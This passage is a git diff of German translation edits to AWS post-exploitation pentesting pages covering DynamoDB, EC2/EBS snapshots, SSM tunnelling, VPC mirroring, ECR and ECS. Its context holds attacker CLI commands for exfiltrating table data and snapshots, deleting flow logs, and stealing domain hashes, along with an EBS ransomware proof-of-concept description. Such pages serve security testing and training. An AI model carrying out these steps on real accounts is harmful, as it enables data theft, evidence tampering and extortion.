+Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch tägliche Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie z.B. Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, die in den CloudTrail-Protokollen des Opfers aufgezeichnet werden.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index c818092f0..2e3471e18 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `dynamodb:BatchGetItem`
-Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies erhalten, indem man die Tabellenmetadaten abruft (`describe-table`).
+Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies durch Abrufen der Tabellenmetadaten (`describe-table`) erhalten).
{{#tabs }}
{{#tab name="json file" }}
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
-Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`**-Methode wie folgt zu verwenden:
+Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`** Methode wie folgt zu verwenden:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen in der Tabelle
+**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle
### `dynamodb:Query`
-**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung eines [Teilsets von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der erscheinen muss) erlaubt ist, ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen.
+**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung einer [Teilmenge von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige erlaubte Vergleich mit dem Primärschlüssel (der erscheinen muss) ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen.
{{#tabs }}
{{#tab name="json file" }}
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-Beachten Sie, dass für dies die Tabelle die Punkt-in-Zeit-Wiederherstellung aktiviert haben muss. Sie können überprüfen, ob die Tabelle dies hat mit:
+Beachten Sie, dass für das Funktionieren dies die Punkt-in-Zeit-Wiederherstellung für die Tabelle aktiviert sein muss. Sie können überprüfen, ob die Tabelle dies hat mit:
```bash
aws dynamodb describe-continuous-backups \
--table-name
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle sein könnten.
+Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle vorhanden sein könnten.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
@@ -173,7 +173,7 @@ aws dynamodb restore-table-from-backup \
Diese Berechtigung erlaubt es Benutzern, ein **neues Element zur Tabelle hinzuzufügen oder ein vorhandenes Element** durch ein neues Element zu ersetzen. Wenn ein Element mit dem gleichen Primärschlüssel bereits existiert, wird das **gesamte Element durch das neue Element ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Element mit dem angegebenen Primärschlüssel **erstellt**.
{{#tabs }}
-{{#tab name="XSS Beispiel" }}
+{{#tab name="XSS Example" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element erstellen** mit dem angegebenen Primärschlüssel und die im Aktualisierungsausdruck angegebenen Attribute festlegen.
+Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element** mit dem angegebenen Primärschlüssel erstellen und die im Aktualisierungsausdruck angegebenen Attribute festlegen.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -266,7 +266,7 @@ aws dynamodb delete-backup \
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
-> [!NOTE]
+> [!HINWEIS]
> TODO: Testen, ob das tatsächlich funktioniert
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht es dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was potenziell zu einem Datenleck führen kann.
@@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
--shard-iterator \
--region
```
-**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle.
+**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 7c78697a5..eb72cb8f3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### **Bösartiges VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\
+VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet.\
Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:
Für weitere Informationen siehe diese Seite:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Laufende Instanz kopieren
-Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2 Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**:
+Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2-Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**:
```shell
# List instances
aws ec2 describe-images
@@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot-Dump
-**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.\
+**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte die Überprüfung dieser Informationen offenbaren.\
Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
{{#ref}}
@@ -81,11 +81,11 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
```
### Privesc zu ECS
-Es ist möglich, eine EC2-Instanz auszuführen und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
+Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### VPC-Flow-Protokolle entfernen
+### VPC-Flussprotokolle entfernen
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -100,17 +100,17 @@ Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr,
> Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer
-2. Melden Sie sich mit dem folgenden Befehl beim Bastion EC2 an:
+2. Melden Sie sich mit dem folgenden Befehl am Bastion EC2 an:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Holen Sie sich die temporären Anmeldeinformationen des Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript
+3. Holen Sie sich die temporären Anmeldeinformationen für die Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript
4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil
5. Melden Sie sich bei EKS als Bastion EC2 an:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
-6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen
+6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen.
7. Erstellen Sie einen SSM-Tunnel wie folgt:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag `--insecure-skip-tls-verify` (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
+Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
@@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
-Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'.
+Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -239,7 +239,7 @@ Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichke
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Jetzt mit dem öffentlich zugänglichen Schlüssel zur Verwendung. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
+Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
 
@@ -332,7 +332,7 @@ Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tat
 
-Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
+Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware PoC ist.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 95178375d..4c46c331d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -46,7 +46,7 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
-Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung unter [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
+Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
Du kannst dies mit Pacu unter Verwendung des Moduls [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) tun.
@@ -75,7 +75,7 @@ Schritt 4: Melden Sie sich bei der EC2-Instanz an und listen Sie die verfügbare
Schritt 5: Überprüfen Sie, ob das Volume Daten enthält, indem Sie den Befehl `sudo file -s /dev/xvdf` verwenden.
-Wenn die Ausgabe des obigen Befehls zeigt "/dev/xvdf: data", bedeutet dies, dass das Volume leer ist.
+Wenn die Ausgabe des obigen Befehls "/dev/xvdf: data" zeigt, bedeutet dies, dass das Volume leer ist.
Schritt 6: Formatieren Sie das Volume mit dem ext4-Dateisystem, indem Sie den Befehl `sudo mkfs -t ext4 /dev/xvdf` verwenden. Alternativ können Sie auch das xfs-Format verwenden, indem Sie den Befehl `sudo mkfs -t xfs /dev/xvdf` verwenden. Bitte beachten Sie, dass Sie entweder ext4 oder xfs verwenden sollten.
@@ -85,7 +85,7 @@ Um diese Aktion auszuführen, verwenden Sie den Befehl `sudo mkdir /newvolume`.
Schritt 8: Mounten Sie das Volume im Verzeichnis "newvolume" mit dem Befehl `sudo mount /dev/xvdf /newvolume/`.
-Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um die Volume-Montage zu validieren.
+Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um das Volume-Mount zu validieren.
Um diese Aktion auszuführen, verwenden Sie die folgenden Befehle:
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-Jeder AWS-Benutzer, der über die Berechtigung **`EC2:CreateSnapshot`** verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine von ihm kontrollierte Instanz anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
+Jeder AWS-Benutzer, der über die Berechtigung **`EC2:CreateSnapshot`** verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz, die er kontrolliert, anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 5d70dd32c..f61dc1347 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,8 +1,8 @@
-# AWS - Malicious VPC Mirror
+# AWS - Bösartiges VPC-Mirror
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**Überprüfen Sie** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **für weitere Details zum Angriff!**
Passive Netzwerkinspektion in einer Cloud-Umgebung war **herausfordernd** und erforderte erhebliche Konfigurationsänderungen, um den Netzwerkverkehr zu überwachen. Eine neue Funktion namens “**VPC Traffic Mirroring**” wurde jedoch von AWS eingeführt, um diesen Prozess zu vereinfachen. Mit VPC Traffic Mirroring kann der Netzwerkverkehr innerhalb von VPCs **dupliziert** werden, ohne dass Software auf den Instanzen selbst installiert werden muss. Dieser duplizierte Verkehr kann an ein Netzwerk-Intrusion-Detection-System (IDS) zur **Analyse** gesendet werden.
@@ -10,6 +10,6 @@ Um den Bedarf an **automatisierter Bereitstellung** der notwendigen Infrastruktu
Die **Auswirkungen** des bösartigen VPC-Traffic-Mirroring können erheblich sein, da es Angreifern ermöglicht, auf **sensible Informationen** zuzugreifen, die innerhalb von VPCs übertragen werden. Die **Wahrscheinlichkeit** eines solchen bösartigen Mirroring ist hoch, da **Klartextverkehr** durch VPCs fließt. Viele Unternehmen verwenden Klartextprotokolle innerhalb ihrer internen Netzwerke aus **Leistungsgründen** und gehen davon aus, dass traditionelle Man-in-the-Middle-Angriffe nicht möglich sind.
-Für weitere Informationen und Zugang zum [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) finden Sie es in unserem **GitHub-Repository**. Das Skript automatisiert und optimiert den Prozess, wodurch es **schnell, einfach und wiederholbar** für offensive Forschungszwecke wird.
+Für weitere Informationen und Zugriff auf das [**malmirror-Skript**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) finden Sie es in unserem **GitHub-Repository**. Das Skript automatisiert und optimiert den Prozess, wodurch es **schnell, einfach und wiederholbar** für offensive Forschungszwecke wird.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index f0e2811f9..54c019515 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
-Nach dem Herunterladen der Bilder sollten Sie **sie auf sensible Informationen überprüfen**:
+Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index af5c9f2c3..53b817506 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,23 +12,23 @@ Für weitere Informationen siehe:
### Host IAM-Rollen
-In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die im Container ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle angehängt.\
-Das bedeutet, dass, wenn es dir gelingt, eine ECS-Instanz zu **kompromittieren**, du potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist,** **erhalten** kannst. Für weitere Informationen, wie du diese Anmeldeinformationen erhalten kannst, siehe:
+In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\
+Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen darüber, wie Sie diese Anmeldeinformationen erhalten können, siehe:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
> [!CAUTION]
-> Beachte, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
+> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html) die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
-### Privilegieneskalation zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
+### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
-Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn du also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** kannst, kannst du **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**.
+Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** können, können Sie **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**.
#### Container auf dem aktuellen Host ausführen
